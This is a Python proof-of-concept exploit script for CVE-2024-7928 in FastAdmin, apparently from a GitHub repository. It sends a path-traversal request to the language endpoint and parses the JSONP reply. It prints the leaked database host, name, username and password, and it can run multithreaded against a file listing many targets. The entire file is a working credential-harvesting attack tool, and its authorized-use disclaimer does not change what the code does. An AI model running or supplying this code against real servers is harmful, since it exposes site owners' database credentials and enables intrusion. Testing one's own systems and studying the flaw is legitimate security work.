""" CVE-2024-7928 This POC will attempt to retrieve DB details for FastAdmin instances. Usage: single target:CVE-2024-7928.py -u https://target:9090 bulk targets:CVE-2024-7928.py -f file.txt Tool Author: x.com/MohamedNab1l GitHub: https://github.com/bigb0x/CVE-2024-7928 Credit: This automated tool is based on this security research: https://wiki.shikangsi.com/post/share/da0292b8-0f92-4e6e-bdb7-73f47b901acd Disclaimer: I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test. """ import requests import argparse import threading import queue import os from requests.exceptions import RequestException from datetime import datetime import urllib3 import signal import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) the_version = "1.0.1" dimmed_gray_color = '\033[90m' honey_yellow_color = "\033[38;5;214m" dim_yellow_color = '\033[33;1m' cyan_color = '\033[96m' green_color = '\033[92m' red_color = '\033[31m' light_orange_color = '\033[38;5;214m' reset_color = '\033[0m' def banner(): print(f""" {light_orange_color} ░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ─█▀█─ ── ▀▀▀█ ▄▀▀▄ █▀█ ▄▀▀▄ ░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ █▄▄█▄ ▀▀ ──█─ ▀▄▄█ ─▄▀ ▄▀▀▄ ░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ───█─ ── ─▐▌─ ─▄▄▀ █▄▄ ▀▄▄▀ {reset_color}-> POC for FastAdmin CVE-2024-7928. Will attempt to retrieve DB details.{reset_color} {reset_color}{dimmed_gray_color}-> By x.com/MohamedNab1l {light_orange_color}-> Use Wisely.{reset_color} """) LOG_DIR = 'logs' LOG_FILE = os.path.join(LOG_DIR, 'scan.log') def create_log_dir(): if not os.path.exists(LOG_DIR): os.makedirs(LOG_DIR) print_message('info', f"Log directory created: {LOG_DIR}") def log_message(message): with open(LOG_FILE, 'a') as log_file: log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n") def print_message(level, message): if level == 'vulnerable': print(f"{light_orange_color}[VLUN] {message}{reset_color}") if level == 'info': print(f"{dimmed_gray_color}[INFO] {message}{reset_color}") elif level == 'warning': print(f"{cyan_color}[INFO] {message}{reset_color}") elif level == 'error': print(f"{red_color}[ERROR] {message}{reset_color}") log_message(message) paths_to_check = "/index/ajax/lang?lang=../../application/database" def make_request(url): try: response = requests.get(url, verify=False) if response.status_code == 200: return response.text else: return None except requests.RequestException as e: return None import json def test_host(url): try: fullurl = f"{url}{paths_to_check}" body = make_request(fullurl) if body is not None and 'jsonpReturn(' in body: print_message('vulnerable', f"{url}") print_message('vulnerable', f"Retrieving DB details for: {url}") json_str = body.split('jsonpReturn(')[1].split(');')[0] data = json.loads(json_str) print(f"{dimmed_gray_color}DB-Type: {light_orange_color}{data.get('type', 'N/A')}{reset_color}") print(f"{dimmed_gray_color}Hostname: {light_orange_color}{data.get('hostname', 'N/A')}{reset_color}") print(f"{dimmed_gray_color}Database: {light_orange_color}{data.get('database', 'N/A')}{reset_color}") print(f"{dimmed_gray_color}Username: {light_orange_color}{data.get('username', 'N/A')}{reset_color}") print(f"{dimmed_gray_color}Password: {light_orange_color}{data.get('password', 'N/A')}{reset_color}") print(f"{dimmed_gray_color}hostport: {light_orange_color}{data.get('hostport', 'N/A')}{reset_color}") # print() else: print_message('warning', f"Not Vulnerable: {url}") except requests.RequestException as e: print_message('error', f"Timeout: {url}") except json.JSONDecodeError: print_message('error', f"Failed to parse JSON response from: {url}") def worker(queue): while not queue.empty(): url = queue.get() print_message('info', f"Testing {url}") test_host(url) queue.task_done() def signal_handler(sig, frame): print_message('error', 'You pressed Ctrl+C! Exiting.') sys.exit(0) def main(): signal.signal(signal.SIGINT, signal_handler) banner() parser = argparse.ArgumentParser(description='POC for FastAdmin CVE-2024-7928. Will attempt to retrieve DB details.') group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com:8080)') group.add_argument('-f', '--file', help='File containing list of URLs (one per line)') args = parser.parse_args() create_log_dir() if args.url: print_message('info', f"Testing single target: {args.url}") test_host(args.url) elif args.file: with open(args.file, 'r') as f: urls = [line.strip() for line in f if line.strip()] print_message('info', f"Testing multiple targets from file: {args.file}") url_queue = queue.Queue() for url in urls: url_queue.put(url) threads = [] for _ in range(10): t = threading.Thread(target=worker, args=(url_queue,)) t.start() threads.append(t) for t in threads: t.join() print_message('info', "Scanning complete.") if __name__ == '__main__': main()